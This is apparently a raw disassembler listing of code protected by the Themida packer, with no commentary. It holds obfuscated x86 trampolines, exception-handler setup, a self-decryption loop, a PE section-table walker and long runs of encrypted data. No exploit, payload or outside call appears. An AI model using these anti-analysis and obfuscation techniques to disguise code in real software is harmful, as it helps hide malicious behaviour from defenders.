sub_57CD4E proc near ; CODE XREF: Themida_:0057CD42p
; FUNCTION CHUNK AT 0057CD08 SIZE 0000002F BYTES
jbe $+6
pop ecx
pop esi
sub eax, 4
mov di, 5F0Fh
cmp eax, 0FFFF9834h
jnz loc_57CD08
jmp loc_57CD76
; ---------------------------------------------------------------------------
dw 7158h
dd 0C6B93FB5h
; ---------------------------------------------------------------------------
pop ebp
pushf
loc_57CD76: ; CODE XREF: sub_57CD4E+1Bj
pusha
mov si, 16D5h
mov eax, eax
mov ecx, esi
mov edx, ecx
cmp dword ptr [ebp+61430B1h], 0
jnz short loc_57CD93
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_57CDAC
loc_57CD93: ; CODE XREF: sub_57CD4E+3Aj
push eax
push ebx
mov eax, eax
mov eax, 40Eh
mov [ebp+6141A49h], eax
lea ebx, [ebp+616B73Ah]
call ebx
pop ebx
pop eax
loc_57CDAC: ; CODE XREF: sub_57CD4E+43j
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_57CDCC
push eax
push ebx
mov eax, 40Eh
mov [ebp+6141A49h], eax
lea ebx, [ebp+616B429h]
call ebx
pop ebx
pop eax
loc_57CDCC: ; CODE XREF: sub_57CD4E+65j
mov dh, 8Ch
jmp loc_57CDE7
; ---------------------------------------------------------------------------
db 0E9h
dd 7B9C3BC1h, 30A76E31h, 2E3EA4D5h, 0A15BE87Eh
db 81h, 9Bh, 0F1h
; ---------------------------------------------------------------------------
loc_57CDE7: ; CODE XREF: sub_57CD4E+80j
mov edx, esi
mov eax, eax
push 0
push ebp
call sub_57CDF6
and [ebp-3Dh], bl
sub_57CD4E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_57CDF6 proc near ; CODE XREF: sub_57CD4E+A0p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_57CDF6 endp
; ---------------------------------------------------------------------------
xchg eax, edx
wait
cmp dword ptr [ebp+6142309h], 0
jz loc_57CE55
add dl, 0D7h
jmp loc_57D101
; ---------------------------------------------------------------------------
push 0
push esi
call sub_57CE28
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57CE28 proc near ; CODE XREF: Themida_:0057CE20p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_57CE28 endp
; ---------------------------------------------------------------------------
dd 0AC94416Bh, 0E81ABC78h, 0Dh, 0FD197215h, 8803EF43h
dd 4355E083h, 0CB8B66C7h
; ---------------------------------------------------------------------------
pop ecx
loc_57CE55: ; CODE XREF: Themida_:0057CE0Fj
mov edi, ds
movsx esi, ax
or edx, 730ABB1Dh
test di, 4
jnz loc_57D101
push 0
push ebp
call sub_57CE76
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57CE76 proc near ; CODE XREF: Themida_:0057CE6Ep
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_57CE76 endp
; ---------------------------------------------------------------------------
push cs
push cs
movsx edx, si
cmp dword ptr [ebp+61414CDh], 0
jnz loc_57CEA6
sbb edx, 608CD914h
jmp loc_57D101
; ---------------------------------------------------------------------------
movzx edx, cx
loc_57CEA6: ; CODE XREF: Themida_:0057CE92j
sub edi, edi
push 0
push esi
call sub_57CEB3
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57CEB3 proc near ; CODE XREF: Themida_:0057CEABp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_57CEB3 endp
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
mov edx, 3A0630E6h
pusha
jno loc_57CED2
mov ah, 0F6h
loc_57CED2: ; CODE XREF: Themida_:0057CECAj
adc esi, 13F7F19Fh
popa
lea ebx, [ebp+61744BBh]
push 0
push ebx
call sub_57CEEA
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57CEEA proc near ; CODE XREF: Themida_:0057CEE2p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_57CEEA endp
; ---------------------------------------------------------------------------
dw 7F6Bh
dd 891F19F4h, 0E2816634h, 665068B7h, 89E8F3B9h, 8F0F241Ch
dd 0
; ---------------------------------------------------------------------------
push large dword ptr fs:0
push 0
push ebp
call sub_57CF26
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57CF26 proc near ; CODE XREF: Themida_:0057CF1Ep
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_57CF26 endp
; ---------------------------------------------------------------------------
aam 20h
adc byte ptr [eax], 6Ah
mov large fs:0, esp
push 0
push edx
call sub_57CF4D
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57CF4D proc near ; CODE XREF: Themida_:0057CF45p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_57CF4D endp
; ---------------------------------------------------------------------------
db 96h, 2Fh, 36h
dd 8DD03B2h, 0F001F9Ah, 0C48BD3B7h, 38D0Fh, 0C9800000h
dd 0EB01CD7Dh, 3C29B900h, 6A56ABh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 150424h, 53430000h, 609E70C3h, 0FC6057B4h
dd 8B0Fh, 61610000h, 0DE9h, 0A0B30300h, 0B9D8B27Dh, 2B8381F9h
dd 8F64F7CFh, 5, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1904h, 0C3524200h, 87E86AA9h, 44BE5C46h
dd 0F939448Bh, 6A04C483h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 8D77C353h, 42B2CE55h
dd 840FC00Bh, 0EDh, 753ABE56h, 665A5EC8h, 6A61D18Bh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 0F089C353h, 50E2CF70h, 0A2DC5B95h, 8DF6BF0Fh, 1470F0BDh
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h
dd 0C3534300h, 4A56F36Ah, 0B8A2491Ch, 1, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0DBC35545h, 0FF2BF180h
dd 1EBEBAE7h, 8B577AEFh, 8B10245Ch, 0B883h, 40B60F00h
dd 89C8FE01h, 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 35C35141h
dd 88D508Ah, 1E800Fh, 880F0000h, 18h, 13E9h, 24FEF400h
dd 0C39AD4FEh, 0EE29ACD3h, 0AC2A32FDh, 9CAD6136h
; ---------------------------------------------------------------------------
cld
loc_57D101: ; CODE XREF: Themida_:0057CE18j
; Themida_:0057CE65j ...
popa
mov ecx, 7B77AA43h
mov eax, eax
js loc_57D117
jl loc_57D117
pusha
popa
loc_57D117: ; CODE XREF: Themida_:0057D109j
; Themida_:0057D10Fj
cmp dword ptr [ebp+61430B1h], 0
jnz short loc_57D129
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_57D142
loc_57D129: ; CODE XREF: Themida_:0057D11Ej
push eax
push ebx
mov eax, eax
mov eax, 40Eh
mov [ebp+61430C1h], eax
lea ebx, [ebp+616B7A1h]
call ebx
pop ebx
pop eax
loc_57D142: ; CODE XREF: Themida_:0057D127j
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_57D162
push eax
push ebx
mov eax, 40Eh
mov [ebp+61430C1h], eax
lea ebx, [ebp+616B442h]
call ebx
pop ebx
pop eax
loc_57D162: ; CODE XREF: Themida_:0057D149j
jmp loc_57D179
; ---------------------------------------------------------------------------
xchg eax, esp
mov eax, 432489AFh
add al, 0DEh
mov [ebx+ecx*4], dl
xor ebp, 0FFFFFFE1h
cld
xor al, 12h
pop es
loc_57D179: ; CODE XREF: Themida_:loc_57D162j
mov eax, eax
clc
mov eax, edx
jmp short loc_57D188
; ---------------------------------------------------------------------------
dd 2 dup(0)
; ---------------------------------------------------------------------------
loc_57D188: ; CODE XREF: Themida_:0057D17Ej
jmp loc_57D208
; ---------------------------------------------------------------------------
db 60h, 52h, 0Fh
; ---------------------------------------------------------------------------
add [esp-2], ecx
pop edx
add edx, 24h
loc_57D198: ; CODE XREF: Themida_:0057D1CFj
mov eax, [ebp+61412CDh]
lea eax, [ebp+617764Fh]
mov ecx, [eax]
mov ecx, [eax+1000h]
mov ecx, [edx]
mov cx, [edx-4]
mov [ebp+61745A5h], ecx
cmp dword ptr [ebp+61414CDh], 0
jz loc_57D1D4
pusha
push 0
call dword ptr [ebp+6141169h]
popa
jmp loc_57D198
; ---------------------------------------------------------------------------
loc_57D1D4: ; CODE XREF: Themida_:0057D1BFj
mov [edx-4], si
ror esi, 10h
mov [edx+2], si
push edx
int 4 ; - internal hardware - OVERFLOW
; Generated by INTO instruction if OF flag is set. If flag is not set, INTO
; is effectively a NOP.
pop edx
mov [ebp+61745A1h], eax
mov esi, [ebp+61745A5h]
ror esi, 10h
mov [edx+2], si
mov esi, [ebp+61745A5h]
mov [edx-4], si
popa
mov eax, [ebp+61745A1h]
retn
; ---------------------------------------------------------------------------
loc_57D208: ; CODE XREF: Themida_:loc_57D188j
lea edx, [ebp+6141729h]
mov [ebp+61434F1h], edx
mov [ebp+6142D01h], edx
inc dword ptr [ebp+6142D01h]
mov byte ptr [ebp+6141A59h], 53h
push 0FCB148D8h
push dword ptr [ebp+6141145h]
lea eax, [ebp+6143B13h]
call eax
mov [ebp+6141169h], eax
lea eax, [ebp+6173E06h]
mov [ebp+6143525h], eax
jmp short loc_57D26E
; ---------------------------------------------------------------------------
align 10h
dd 7 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_57D26E: ; CODE XREF: Themida_:0057D24Cj
jmp loc_57D881
; ---------------------------------------------------------------------------
jmp loc_57D87A
; ---------------------------------------------------------------------------
push 6174881h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 617495Ah
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6174B29h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6174BA9h
jmp loc_5509FF
; ---------------------------------------------------------------------------
dd 64B609D3h, 1F714C87h, 0D92B9042h, 8EE0D9FCh, 459726B1h
dd 0D304AC0Ch, 16BB98EAh, 647451A3h, 0AA2C095Bh, 2BB3BF11h
dd 92E3F25h, 0F1585358h, 4FFBC012h, 0F1E82709h, 855C32D1h
dd 0CEBCF625h, 8DFDAFCBh, 0A30DCC23h, 0F62D2EEh, 63FBB7E5h
dd 2BA0E234h, 7EEDCB3Ah, 407B5724h, 2BD7E2F3h, 593EA4D3h
dd 55000000h, 0F1E7F6D9h, 60107E51h, 828D4B18h, 0F1E7967Ch
dd 0EA82AA51h, 3AFAEB93h, 184702EBh, 7C824A12h, 51F2C896h
dd 0F5382AAh, 57E71092h, 5C637542h, 0EC0158B0h, 0ED48FDDCh
dd 7DA52958h, 0A27C532Bh, 33EF4394h, 29020E3Dh, 3A000000h
dd 0A652696Dh, 0D17D3C99h, 0CBB2E179h, 0F1E7F7D9h, 5F0F7D51h
dd 2F941117h, 774457E6h, 902DA65Eh, 0C5F48CE4h, 0EC71941h
dd 4FFBC012h, 0F1E82809h, 9427ABD1h, 0C5F8DBE8h, 6022C419h
dd 69290D81h, 0F4C70BD8h, 0B6C1F048h, 714D9F1Ch, 3B125A08h
dd 62EF350Eh, 0ADEB4273h, 1B498CCCh, 2E343A69h, 0D1F1FC4Ch
dd 947A8058h, 21D1F2DBh, 65E0AB1h, 0D4801840h, 0DFF70FC7h
dd 40D830DCh, 0FCA412EEh, 0CDF0E7B4h, 0FAC31421h, 272D3362h
dd 0D7E60F68h, 0E6AEF61Eh, 6EEFAE0h, 30360ED8h, 0D806EF4Ah
dd 6F9E365Eh, 0EEDDBF05h, 7362D806h, 4B8D9A46h, 0BAC0C874h
dd 0D806EED4h, 466AC0E8h, 0BCDEA504h, 349E6B9Eh, 5483DB87h
dd 0D8E67DE8h, 758178h, 13980000h, 0DAB1F9A5h, 39EDE10Ch
dd 3238672Dh, 0E6389C2Ch, 94DC0457h, 703E91BDh, 1948E258h
dd 2B904613h, 2CDAFCD9h, 106814A5h, 10A813C3h, 0A4B87732h
dd 0D8E6D03Eh, 36Ch, 24764993h, 0DF318C47h, 99EBD002h
dd 4EA019BCh, 5576671h, 13C4ECCCh, 567B58AAh, 0A4341163h
dd 0EAECC91Bh, 0EB737FD1h, 92FFFE5h, 0B1181358h, 33711h
dd 567C4900h, 124F3665h, 0DA4A3CC0h, 4A88DA2Bh, 0F23F5E44h
dd 0B24A7251h, 8F666E1Ah, 47FEC127h, 0BFA5ABBAh, 0D351F24Ch
dd 0A0E413ABh, 51F24CBEh, 0D0C07148h, 6410AB2Bh, 9FE2B50Ch
dd 0DA724989h, 490567ABh, 6C5151F2h, 0BE51F24Ah, 51F249DCh
dd 0F24A4628h, 0CF03D051h, 0B9E840ECh, 0F2499375h, 3AB1991h
dd 0BF1CF3BBh, 9A8780E7h, 0E4ACF01Fh, 0AC17E757h, 626F3C84h
dd 0B53AB57h, 9581F05h, 0DC0B3318h, 48F86672h, 4613800h
dd 0CA9DE5B5h, 5DC00433h, 6B1DFD17h, 94E6543h, 230D7891h
dd 29315h, 4F706C00h, 0AB320FDh, 0C4F7DBB8h, 79409572h
dd 308D4A27h, 9D13A5DEh, 5431833Ah, 0DEA3C7Dh, 0C5A2F4CBh
dd 4C58AA11h, 30D8BEC4h, 0F1EC5809h, 0F7C4128Ah, 2DD13F4Bh
dd 2D8EDFE5h, 507857E6h, 7F5926FEh, 0CC061140h, 60D0A7EFh
dd 5ADA41EEh, 4A273766h, 7B873388h, 1319610Dh, 5DFD66AAh
dd 0BBFED7B4h, 0CD1FB70Fh, 2067D5B7h, 91975F5Eh, 5E2067ABh
dd 0C6F3E2BFh, 0D32AC21Ah, 83384C69h, 0EAF42368h, 868CD47Ch
dd 6414A431h, 0BA03D4A1h, 387B60Eh, 0A53F252Bh, 76536437h
dd 2FC75F5Ch, 0FFBC1AE7h, 0B506D0ADh, 0A4D1C309h, 9776437h
dd 4F551D65h, 6437A569h, 8435A07Dh, 0B9E880D8h, 0EC34ADB3h
dd 865E6A2Bh, 4EEA9A80h, 0FAA276Ah, 41892149h, 9526AC79h
dd 0F272113Eh, 79A8DDF8h, 153686Eh, 5D09B224h, 714A8855h
dd 0FA3E6DC5h, 6A4F8B08h, 489040AEh, 43D0D942h, 73BBE370h
dd 0DE8A2FA6h, 84515786h, 3A176952h, 0AD71F9Ch, 573D43C8h
dd 6B7066D2h, 0A7FFAB43h, 94020E78h, 219EA4ECh, 53765B19h
dd 57397F2Bh, 0DC767E18h, 0C19C5F6h, 3349F5C6h, 1DB9730Fh
dd 29AF29Eh, 6279193Bh, 0DA61C203h, 74498E5Bh, 2440262Ch
dd 2C54767Eh, 1597FDh, 0D9AE0000h, 51F104F7h, 1E7Bh, 0B2DCB300h
dd 0B454735Fh, 173E2554h, 8632874Ah, 7C25D72Eh, 2A5A2FCh
dd 7DAD8FD3h, 175651F1h, 2F8C4Ah, 90D888F6h, 0E62D398Ah
dd 973C2357h, 0F9F15803h, 0F8A415BCh, 287008A0h, 94407B5Bh
dd 97A30D3Ch, 0BA03D029h, 91D4DA22h, 0DD5DFCB8h, 99290F15h
dd 603D5E1Dh, 469E4A73h, 0D3FB7FAEh, 9088C8F5h, 0AFBDA738h
dd 0C4h, 0CC1EA13Bh, 87D9E4EFh, 419328AAh, 0F6487164h
dd 0ADFFBE19h, 6B6C4474h, 0AE230052h, 0FCDCB90Bh, 429471C3h
dd 931B2779h, 932A78Dh, 59C0BB58h, 318E4A17h, 278AF802h
dd 5F74FE8Bh, 2EC9075Eh, 0B3999FE7h, 0C751F2D8h, 0B9BF079Fh
dd 57E71E68h, 4E3F9D0h, 43EFD008h, 0BAF094EBh, 603DC1F0h
dd 429A4677h, 84F2FEAAh, 2B8E94DCh, 395DFDA1h, 0A840795Ch
dd 8F9EFDCAh, 8E9C8638h, 44h, 4C9E21BBh, 759646Fh, 0C113A82Ah
dd 76C8F1E4h, 2D7F3E99h, 0EBECC4F4h, 2EA380D2h, 7C5C398Bh
dd 0C214F143h, 139BA7F9h, 933270Dh, 0D9403B58h, 0F11h
dd 577C4900h, 0E4503766h, 7746915Eh, 5D4473CBh, 49F5CA12h
dd 75219A3Ch, 0A34F7068h, 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h
dd 5703B61Fh, 8733884Ah, 0B864597Ah, 0E6895633h, 4C681h
dd 0EE830000h, 24348704h, 6824248Bh, 7D6Ah, 53243489h
dd 0C381E389h, 4, 4EB81h, 1C870000h, 14895C24h, 67BD5524h
dd 0F755CC3Fh, 28C581DDh, 555BE386h, 8B545D5Eh, 0C4812414h
dd 4, 2C815655h, 6928E324h, 0C5815D75h, 756928E3h, 5D086A89h
dd 5A2434FFh, 4C481h, 348B0000h, 0E6895624h, 4C681h, 0C6810000h
dd 4, 5C243487h, 0FD318AE9h, 7C09C9FFh
db 0ADh, 89h
; ---------------------------------------------------------------------------
loc_57D87A: ; CODE XREF: Themida_:0057D273j
mov eax, 6174C12h
add eax, ebp
loc_57D881: ; CODE XREF: Themida_:loc_57D26Ej
mov ecx, eax
jmp short $+2
jmp loc_57DE83
; ---------------------------------------------------------------------------
jmp loc_57DE7C
; ---------------------------------------------------------------------------
push 6174D7Eh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6174EA8h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6174F23h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 617502Eh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6175127h
jmp loc_5509FF
; ---------------------------------------------------------------------------
db 0F4h, 0E8h, 0D7h
dd 922BA885h, 4C6F6340h, 1B81DFAh, 0B805D2AFh, 258B2D66h
dd 0DCB90BB2h, 9572C4F5h, 4D2A7C43h, 0D4E03289h, 3460464Ch
dd 79745809h, 0E7F7D912h, 5D4351F1h, 0EF51F1E8h, 0BA07B422h
dd 9DF5A11Eh, 0E8452A6Eh, 0B59751F1h, 3F51F1E7h, 2A596672h
dd 0F1E803E6h, 0E86F5151h, 31F9D1F1h, 0F1E8452Bh, 23159D1h
dd 0AF278AF8h, 78419032h, 847F6421h, 39EA4ECh, 71D7E5D4h
dd 0A4340149h, 0ECECC91Bh, 0AD1B27D3h, 50B3B901h, 5EDDFAB8h
dd 6E685836h, 230DB893h, 44815h, 734C9000h, 2E8F4421h
dd 0E8D3FFDCh, 9D1CB996h, 54696E4Bh, 0C1EFC902h, 7855A716h
dd 310E6059h, 0E9C618A7h, 707CCEEDh, 34FCE2E8h, 15105809h
dd 0F7C412AEh, 6176434Bh, 2958B05Ch, 0F1E802E5h, 2E6C9051h
dd 8B46C016h, 922A822Eh, 48736340h, 74478F9Ch, 0A11CBBC8h
dd 0CEEFE8F5h, 0FDBC1522h, 0DF43F951h, 8AB37FA3h, 0F65E6A52h
dd 0A48AC5Eh, 0B622E4F2h, 85505D09h, 98308834h, 0F570AE00h
dd 9FEEDC3h, 3A4h, 47C41220h, 0F1E85B41h, 0CFF0E851h, 0DD05CB23h
dd 70539945h, 0D751F1E8h, 27AF4505h, 0AE364294h, 0F1E7C2A8h
dd 2AED651h, 8ADCE3F5h, 4A9229ADh, 0E16EAB82h, 0E37B7DCFh
dd 0F241775Dh, 34638B51h, 0F353BECAh, 0F24107EDh, 5BF31B51h
dd 63693109h, 51F2417Dh, 9D1EB491h, 0D20199F1h, 0AC0FC7h
dd 93DBDEF3h, 40DFC5CBh, 0CBF351F2h, 94768C9Ch, 1951F240h
dd 495501B8h, 64597EDBh, 1CB784CCh, 509DF5A1h, 1073687h
dd 0E57228FBh, 383E1657h, 58065252h, 0C8A63E66h, 3EA7D502h
dd 1E8F9D87h, 0BA000003h, 6E4B9D22h, 29065865h, 0E3C012A9h
dd 9875C7F2h, 0F32C7E3Fh, 0D1ECEBC5h, 8A2FA27Fh, 427D5B38h
dd 0F8C313F0h, 0C129AA6h, 58093626h, 12D83F3Ah, 3E4BF7C4h
dd 6A772398h, 0EA005267h, 51F1E7C8h, 6D82FBD2h, 0A0A1B763h
dd 83DB8738h, 26CC94EBh, 3198AF1Dh, 5EDCBE02h, 706151F1h
dd 75579D49h, 0FB51F23Fh, 9399E18Dh, 57E55A5Ch, 0C80CEA12h
dd 0D53EA7CCh, 2A3DDEBh, 0A7350000h, 0EAE9C618h, 2EA481D3h
dd 775E3B8Dh, 0C413F042h, 4A6EA7F9h, 0FA4C7166h, 0B305B41Dh
dd 6BBD02D6h, 2173488Eh, 0A1878D15h, 0B5580936h, 0C41253BAh
dd 0CA0B2938h, 972FBF93h, 6956824Fh, 9922B0BDh, 5B68D201h
dd 2294407Bh, 0A06D9CBEh, 8C2E8536h, 0CC55556Bh, 45919CCBh
dd 7F4C2476h, 17B4A759h, 398CA78Dh, 5F0672A1h, 9FFEED9Dh
dd 214h, 0E7F7D9B6h, 5C7C51F1h, 0E7C7ADB3h, 0FEDB51F1h
dd 0E43CE8D5h, 8562B44Ch, 57246C53h, 0DCE9407Bh, 6C73BDA1h
dd 27349ECDh, 0F9C60EB1h, 43292FDEh, 5751F2B4h, 93EB972Fh
dd 2488FA64h, 0B50ACE66h, 8A33A06Dh, 9C734B5Bh, 4B86D77h
dd 16D9C26h, 0FEED3464h, 709Ah, 0C4CA9200h, 51F2B0DEh
dd 7C82CAF2h, 51F2B096h, 6C5382AAh, 308D4A17h, 0F3FD2C84h
dd 0BB42485h, 0A6252B73h, 5A57E519h, 0C672498Dh, 0DEBB3F6Eh
dd 0C018C4F9h, 2E944A28h, 331D3EA8h, 19825h, 239C4000h
dd 0DEDFF4D1h, 9823AF8Ch, 4D6C6946h, 4B91EFBh, 713F79B2h
dd 28055766h, 0E1BE10A9h, 9976C8F7h, 202C7E3Dh, 37AC9298h
dd 0C5C05809h, 845BE35Eh, 9CC64325h, 68537F2Ch, 959BA1D0h
dd 51F2B397h, 0EAF7A3CBh, 0A27FD1EEh, 0B906D234h, 0D51DB50Dh
dd 2176C0FEh, 8CBB752Dh, 46AB1622h, 40922A8Fh, 84379B68h
dd 318E4A55h, 0E7D402DFh, 16A32E3Bh, 0E5D401CEh, 0A2B2E139h
dd 22080E96h, 3651F234h, 7D55620Eh, 0A710EC3Eh, 943E4BF7h
dd 0C112DF27h, 0A7BDCDFCh, 51F233C5h, 0E931DD4Bh, 0E6356CE3h
dd 327AA257h, 86359D6Ah, 81874C57h, 65BD6950h, 359E7BCDh
dd 9CFDC88h, 4DE5D401h, 7C3D94A1h, 0AC0FC3D0h, 8A6A8D64h
dd 88B428B7h, 75E3EF59h, 0F4E0170Ah, 65FD99ADh, 0AA98171Dh
dd 844C5DF9h, 1A89987Eh, 5584AC5Eh, 1DCBA9D1h, 0A838939Dh
dd 9FB0BEh, 0A3390000h, 0E6EDCA1Ch, 2AA885D7h, 73623F91h
dd 0C017F446h, 4672ABFDh, 0FE506D6Ah, 0B709B021h, 6FC1FEDAh
dd 25774492h, 0A58B9119h, 0B9580938h, 4A1757BEh, 2C84308Dh
dd 0D7E4F2FDh, 3B81E2Bh, 33884A57h, 62577A87h, 0DE7CA0B6h
dd 6410AD26h, 5EC2740Ch, 0EDCE083Ch, 0E7FFCEA5h, 5606E6A4h
dd 0F2C26A50h, 0BE567E51h, 24417F8Fh, 0DAFEED18h, 10h
dd 0E7F6D9F1h, 597D51F1h, 10321062h, 89000000h, 2E8B4A17h
dd 0E7D9BBFFh, 785E51F1h, 0F338F143h, 75D62h, 0DC620000h
dd 0CAF9C40Fh, 0F5CA12E3h, 219A3C49h, 4F706875h, 7E3B96A3h
dd 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h
dd 895033B8h, 0EABB53E0h, 812B4D77h, 5C33E4F3h, 2AC3810Ah
dd 0F768EC37h, 0CFE381D3h, 0C145785Bh, 0F38105E3h, 800018E4h
dd 835BD801h, 48704E8h, 0BE685C24h, 8900007Ah, 89562404h
dd 4C681E6h, 83000000h, 348704EEh, 34895C24h, 0E2B95124h
dd 8906174Ch, 240C8BC8h, 6804C483h, 7E7Fh, 83242489h, 5E042404h
dd 0CEB85050h, 29587733h, 58042444h, 8108468Fh, 33CE0846h
dd 348B5877h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h
dd 24048B5Ch, 5E08950h, 4, 8704C083h, 0E95C2404h, 0FFFD2B8Fh
dd 1971F497h, 695D5572h, 0DE1E1915h
; ---------------------------------------------------------------------------
loc_57DE7C: ; CODE XREF: Themida_:0057D88Aj
mov eax, 61751EBh
add eax, ebp
loc_57DE83: ; CODE XREF: Themida_:0057D885j
mov edx, ecx
jmp loc_57DEDB
; =============== S U B R O U T I N E =======================================
sub_57DE8A proc near ; DATA XREF: Themida_:0054B110o
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov esi, [esp+20h+arg_0]
add esi, [esi+3Ch]
mov edi, [esp+20h+arg_4]
mov edx, esi
add edx, 0F8h
mov cx, [esi+6]
movzx ecx, cx
loc_57DEA5: ; CODE XREF: sub_57DE8A+46j
cmp ecx, 0
jz loc_57DEC4
cmp edi, [edx+0Ch]
jg loc_57DECC
sub edx, 28h
mov eax, [edx+0Ch]
mov ecx, [edx+14h]
sub eax, ecx
sub edi, eax
loc_57DEC4: ; CODE XREF: sub_57DE8A+1Ej
; sub_57DE8A+4Cj
mov [esp+20h+var_4], edi
popa
retn 8
; ---------------------------------------------------------------------------
loc_57DECC: ; CODE XREF: sub_57DE8A+27j
add edx, 28h
dec ecx
jnz loc_57DEA5
jmp loc_57DEC4
sub_57DE8A endp
; ---------------------------------------------------------------------------
loc_57DEDB: ; CODE XREF: Themida_:0057DE85j
mov edx, 9FD3Eh
call sub_57DEF5
pop ds
imul esi, [eax+70h], 4Fh
xor al, 0E7h
dec edi
; ---------------------------------------------------------------------------
db 0C5h, 0C3h, 0A4h
dd 9EFC431Ch
db 19h
; =============== S U B R O U T I N E =======================================
sub_57DEF5 proc near ; CODE XREF: Themida_:0057DEE0p
jge loc_57DEFE
mov cx, si
loc_57DEFE: ; CODE XREF: sub_57DEF5j
pop edx
clc
add edx, 6075h
mov bx, dx
xor eax, eax
push ecx
adc si, 0E96Ch
pop esi
loc_57DF12: ; CODE XREF: sub_57DEF5:loc_57DFA3j
mov edi, [edx+eax]
push ebx
pop ebx
xor edi, 6425E3A0h
mov bx, di
xor edi, 73C1F7EEh
movsx ebx, di
add edi, 0DA195D6h
mov si, 2C1Bh
mov [edx+eax], edi
mov esi, 25B06130h
jmp loc_57DF54
; ---------------------------------------------------------------------------
dd 8D4503DAh, 7B21B7ABh, 0A1EA9BC4h, 0EA3B4782h, 0D32C36C1h
; ---------------------------------------------------------------------------
loc_57DF54: ; CODE XREF: sub_57DEF5+46j
sub eax, 32927139h
movzx ebx, di
add eax, 32927135h
mov bx, 65FDh
cmp eax, 0FFFFA050h
jnz loc_57DF8B
jnb loc_57DF81
jp loc_57DF81
mov ebx, esi
loc_57DF81: ; CODE XREF: sub_57DEF5+7Ej
; sub_57DEF5+84j
jmp loc_57DFAE
; ---------------------------------------------------------------------------
dw 0F27Dh
db 0E0h, 2Ah, 72h
; ---------------------------------------------------------------------------
loc_57DF8B: ; CODE XREF: sub_57DEF5+78j
jmp loc_57DFA3
; ---------------------------------------------------------------------------
dd 0AE781EABh, 475945C7h, 98B16A18h, 563420D6h
; ---------------------------------------------------------------------------
aad 2Ah
xchg eax, ebp
loc_57DFA3: ; CODE XREF: sub_57DEF5:loc_57DF8Bj
jmp loc_57DF12
; ---------------------------------------------------------------------------
dd 0E0D0DE1Ch
db 0D8h, 77h
; ---------------------------------------------------------------------------
loc_57DFAE: ; CODE XREF: sub_57DEF5:loc_57DF81j
jmp loc_57E114
; ---------------------------------------------------------------------------
db 48h
dd 0E77FB676h, 93DA95ECh, 0DF067158h, 0FDBEB6CFh, 36365D54h
dd 0BCECA4h, 52C55DD5h, 0A4D676D3h, 4100FC94h, 50C1AEC4h
dd 325277CBh, 9CACACh, 0FC6C46BFh, 597390ADh, 75D6A336h
dd 0BD9C72E2h, 93DD0090h, 0A79B8CE6h, 0DD64A592h, 9792A7ABh
dd 0FC7A918Fh, 96B9F95Ch, 0B59BB1E4h, 0B69F47E4h, 94B6E592h
dd 0B59EBDF6h, 0EC96B3EBh, 999C93D0h, 0FD7B97BFh, 9389F55Ch
dd 0EDAFF4h, 0A6E3B2CDh, 0B5D4E594h, 445700C3h, 0B0F3622Dh
dd 3CAE29h, 440000h, 6C0000h, 2 dup(0)
dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h
dd 2Ah dup(0)
; ---------------------------------------------------------------------------
loc_57E114: ; CODE XREF: sub_57DEF5:loc_57DFAEj
jmp loc_57FFE6
; ---------------------------------------------------------------------------
push 6175758h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 617586Ch
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6175928h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6175A07h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6175AD3h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6175B91h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 6175C57h
jmp loc_5509FF
